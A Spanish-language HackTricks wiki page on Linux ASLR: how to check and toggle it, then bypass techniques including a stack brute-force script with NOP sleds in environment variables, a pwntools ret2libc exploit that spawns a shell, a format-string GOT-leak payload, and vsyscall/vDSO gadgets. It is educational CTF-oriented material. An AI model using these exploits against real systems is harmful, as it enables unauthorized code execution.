hacktricks/binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md

296 lines
15 KiB
Markdown
Raw Normal View History

# ASLR
{% hint style="success" %}
Aprende y practica Hacking en AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Apoya a HackTricks</summary>
* ¡Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}
## Información Básica
**La Randomización del Diseño del Espacio de Direcciones (ASLR)** es una técnica de seguridad utilizada en sistemas operativos para **aleatorizar las direcciones de memoria** utilizadas por los procesos del sistema y de las aplicaciones. Al hacerlo, se vuelve significativamente más difícil para un atacante predecir la ubicación de procesos y datos específicos, como la pila, el montón y las bibliotecas, mitigando así ciertos tipos de exploits, especialmente los desbordamientos de búfer.
### **Verificar el Estado de ASLR**
Para **verificar** el estado de ASLR en un sistema Linux, puedes leer el valor del archivo **`/proc/sys/kernel/randomize_va_space`**. El valor almacenado en este archivo determina el tipo de ASLR que se está aplicando:
* **0**: Sin aleatorización. Todo es estático.
* **1**: Aleatorización conservadora. Se aleatorizan las bibliotecas compartidas, la pila, mmap(), la página VDSO.
* **2**: Aleatorización completa. Además de los elementos aleatorizados por la aleatorización conservadora, la memoria gestionada a través de `brk()` se aleatoriza.
Puedes verificar el estado de ASLR con el siguiente comando:
```bash
cat /proc/sys/kernel/randomize_va_space
```
### **Desactivando ASLR**
Para **desactivar** ASLR, estableces el valor de `/proc/sys/kernel/randomize_va_space` en **0**. Desactivar ASLR generalmente no se recomienda fuera de escenarios de prueba o depuración. Así es como puedes desactivarlo:
```bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```
También puedes desactivar ASLR para una ejecución con:
```bash
setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args
```
### **Habilitar ASLR**
Para **habilitar** ASLR, puedes escribir un valor de **2** en el archivo `/proc/sys/kernel/randomize_va_space`. Esto suele requerir privilegios de root. La habilitación de la aleatorización completa se puede hacer con el siguiente comando:
```bash
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
```
### **Persistencia a través de reinicios**
Los cambios realizados con los comandos `echo` son temporales y se restablecerán al reiniciar. Para hacer que el cambio sea persistente, necesitas editar el archivo `/etc/sysctl.conf` y agregar o modificar la siguiente línea:
```tsconfig
kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR
```
Después de editar `/etc/sysctl.conf`, aplica los cambios con:
```bash
sudo sysctl -p
```
Esto asegurará que la configuración de tu ASLR se mantenga en reinicios.
## **Bypasses**
### Fuerza bruta de 32 bits
PaX divide el espacio de direcciones del proceso en **3 grupos**:
* **Código y datos** (inicializados y no inicializados): `.text`, `.data` y `.bss` —> **16 bits** de entropía en la variable `delta_exec`. Esta variable se inicializa aleatoriamente en cada proceso y se suma a las direcciones iniciales.
* **Memoria** asignada por `mmap()` y **bibliotecas compartidas** —> **16 bits**, llamado `delta_mmap`.
* **La pila** —> **24 bits**, referido como `delta_stack`. Sin embargo, efectivamente utiliza **11 bits** (desde el byte 10 al 20 inclusive), alineados a **16 bytes** —> Esto resulta en **524,288 posibles direcciones reales de pila**.
Los datos anteriores son para sistemas de 32 bits y la entropía final reducida hace posible eludir ASLR intentando la ejecución una y otra vez hasta que el exploit se complete con éxito.
#### Ideas de fuerza bruta:
* Si tienes un desbordamiento lo suficientemente grande para alojar un **gran trineo NOP antes del código de la shell**, podrías simplemente forzar direcciones en la pila hasta que el flujo **salte sobre alguna parte del trineo NOP**.
* Otra opción para esto en caso de que el desbordamiento no sea tan grande y el exploit se pueda ejecutar localmente es posible **agregar el trineo NOP y el código de la shell en una variable de entorno**.
* Si el exploit es local, puedes intentar forzar la dirección base de libc (útil para sistemas de 32 bits):
```python
for off in range(0xb7000000, 0xb8000000, 0x1000):
```
* Si estás atacando un servidor remoto, podrías intentar **hacer fuerza bruta en la dirección de la función `usleep` de `libc`**, pasando como argumento 10 (por ejemplo). Si en algún momento el **servidor tarda 10 segundos adicionales en responder**, encontraste la dirección de esta función.
{% hint style="success" %}
En sistemas de 64 bits, la entropía es mucho mayor y esto no debería ser posible.
{% endhint %}
### Fuerza bruta de stack de 64 bits
Es posible ocupar una gran parte del stack con variables de entorno y luego intentar abusar del binario cientos/miles de veces localmente para explotarlo.\
El siguiente código muestra cómo es posible **simplemente seleccionar una dirección en el stack** y cada **pocas cientos de ejecuciones** esa dirección contendrá la **instrucción NOP**:
```c
//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
#include <stdio.h>
int main() {
unsigned long long address = 0xffffff1e7e38;
unsigned int* ptr = (unsigned int*)address;
unsigned int value = *ptr;
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
return 0;
}
```
```python
import subprocess
import traceback
# Start the process
nop = b"\xD5\x1F\x20\x03" # ARM64 NOP transposed
n_nops = int(128000/4)
shellcode_env_var = nop * n_nops
# Define the environment variables you want to set
env_vars = {
'a': shellcode_env_var,
'b': shellcode_env_var,
'c': shellcode_env_var,
'd': shellcode_env_var,
'e': shellcode_env_var,
'f': shellcode_env_var,
'g': shellcode_env_var,
'h': shellcode_env_var,
'i': shellcode_env_var,
'j': shellcode_env_var,
'k': shellcode_env_var,
'l': shellcode_env_var,
'm': shellcode_env_var,
'n': shellcode_env_var,
'o': shellcode_env_var,
'p': shellcode_env_var,
}
cont = 0
while True:
cont += 1
if cont % 10000 == 0:
break
print(cont, end="\r")
# Define the path to your binary
binary_path = './aslr-testing'
try:
process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True)
output = process.communicate()[0]
if "0xd5" in str(output):
print(str(cont) + " -> " + output)
except Exception as e:
print(e)
print(traceback.format_exc())
pass
```
<figure><img src="../../../.gitbook/assets/image (1214).png" alt="" width="563"><figcaption></figcaption></figure>
### Información Local (`/proc/[pid]/stat`)
El archivo **`/proc/[pid]/stat`** de un proceso siempre es legible por todos y **contiene información interesante** como:
- **startcode** y **endcode**: Direcciones arriba y abajo con el **TEXTO** del binario
- **startstack**: La dirección de inicio del **stack**
- **start\_data** y **end\_data**: Direcciones arriba y abajo donde está el **BSS**
- **kstkesp** y **kstkeip**: Direcciones actuales de **ESP** y **EIP**
- **arg\_start** y **arg\_end**: Direcciones arriba y abajo donde están los **argumentos de la línea de comandos**
- **env\_start** y **env\_end**: Direcciones arriba y abajo donde están las **variables de entorno**
Por lo tanto, si el atacante está en la misma computadora que el binario que está siendo explotado y este binario no espera el desbordamiento de argumentos sin procesar, sino de una **entrada diferente que se puede crear después de leer este archivo**. Es posible para un atacante **obtener algunas direcciones de este archivo y construir desplazamientos a partir de ellas para el exploit**.
{% hint style="success" %}
Para más información sobre este archivo, consulta [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) buscando `/proc/pid/stat`
{% endhint %}
### Teniendo una fuga
- **El desafío es dar una fuga**
Si se te da una fuga (desafíos fáciles de CTF), puedes calcular desplazamientos a partir de ella (suponiendo, por ejemplo, que conoces la versión exacta de libc que se está utilizando en el sistema que estás explotando). Este exploit de ejemplo se extrae del [**ejemplo de aquí**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (consulta esa página para más detalles):
```python
from pwn import *
elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()
p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)
libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')
payload = flat(
'A' * 32,
libc.sym['system'],
0x0, # return address
next(libc.search(b'/bin/sh'))
)
p.sendline(payload)
p.interactive()
```
* **ret2plt**
Aprovechando un desbordamiento de búfer, sería posible explotar un **ret2plt** para extraer la dirección de una función de la libc. Verifique:
{% content-ref url="ret2plt.md" %}
[ret2plt.md](ret2plt.md)
{% endcontent-ref %}
* **Lectura Arbitraria de Cadenas de Formato**
Al igual que en ret2plt, si tienes una lectura arbitraria a través de una vulnerabilidad de cadenas de formato, es posible extraer la dirección de una **función de la libc** desde el GOT. El siguiente [**ejemplo es de aquí**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got):
```python
payload = p32(elf.got['puts']) # p64() if 64-bit
payload += b'|'
payload += b'%3$s' # The third parameter points at the start of the buffer
# this part is only relevant if you need to call the main function again
payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])
```
Puedes encontrar más información sobre la lectura arbitraria de cadenas de formato en:
{% content-ref url="../../format-strings/" %}
[format-strings](../../format-strings/)
{% endcontent-ref %}
### Ret2ret & Ret2pop
Intenta evadir ASLR abusando de direcciones dentro de la pila:
{% content-ref url="ret2ret.md" %}
[ret2ret.md](ret2ret.md)
{% endcontent-ref %}
### vsyscall
El mecanismo **`vsyscall`** sirve para mejorar el rendimiento al permitir que ciertas llamadas al sistema se ejecuten en espacio de usuario, aunque son fundamentalmente parte del kernel. La ventaja crítica de las **vsyscalls** radica en sus **direcciones fijas**, que no están sujetas a **ASLR** (Randomización de Diseño del Espacio de Direcciones). Esta naturaleza fija significa que los atacantes no necesitan una vulnerabilidad de fuga de información para determinar sus direcciones y usarlas en un exploit.\
Sin embargo, no se encontrarán gadgets muy interesantes aquí (aunque, por ejemplo, es posible obtener un equivalente a `ret;`)
(El siguiente ejemplo y código es [**de este informe**](https://guyinatuxedo.github.io/15-partial\_overwrite/hacklu15\_stackstuff/index.html#exploitation))
Por ejemplo, un atacante podría usar la dirección `0xffffffffff600800` dentro de un exploit. Mientras intentar saltar directamente a una instrucción `ret` podría llevar a inestabilidad o bloqueos después de ejecutar un par de gadgets, saltar al inicio de una `syscall` proporcionada por la sección **vsyscall** puede resultar exitoso. Colocando cuidadosamente un gadget **ROP** que lleve la ejecución a esta dirección de **vsyscall**, un atacante puede lograr la ejecución de código sin necesidad de evadir **ASLR** para esta parte del exploit.
```
ef➤ vmmap
Start End Offset Perm Path
0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555756000 0x0000555555777000 0x0000000000000000 rw- [heap]
0x00007ffff7dcc000 0x00007ffff7df1000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df1000 0x00007ffff7f64000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f64000 0x00007ffff7fad000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fad000 0x00007ffff7fb0000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb0000 0x00007ffff7fb3000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb3000 0x00007ffff7fb9000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤ x.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
A syntax error in expression, near `.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]'.
gef➤ x/8g 0xffffffffff600000
0xffffffffff600000: 0xf00000060c0c748 0xccccccccccccc305
0xffffffffff600010: 0xcccccccccccccccc 0xcccccccccccccccc
0xffffffffff600020: 0xcccccccccccccccc 0xcccccccccccccccc
0xffffffffff600030: 0xcccccccccccccccc 0xcccccccccccccccc
gef➤ x/4i 0xffffffffff600800
0xffffffffff600800: mov rax,0x135
0xffffffffff600807: syscall
0xffffffffff600809: ret
0xffffffffff60080a: int3
gef➤ x/4i 0xffffffffff600800
0xffffffffff600800: mov rax,0x135
0xffffffffff600807: syscall
0xffffffffff600809: ret
0xffffffffff60080a: int3
```
### vDSO
Por lo tanto, ten en cuenta cómo podría ser posible **burlar ASLR abusando del vdso** si el kernel está compilado con CONFIG\_COMPAT\_VDSO ya que la dirección vdso no se randomizará. Para más información, consulta:
{% content-ref url="../../rop-return-oriented-programing/ret2vdso.md" %}
[ret2vdso.md](../../rop-return-oriented-programing/ret2vdso.md)
{% endcontent-ref %}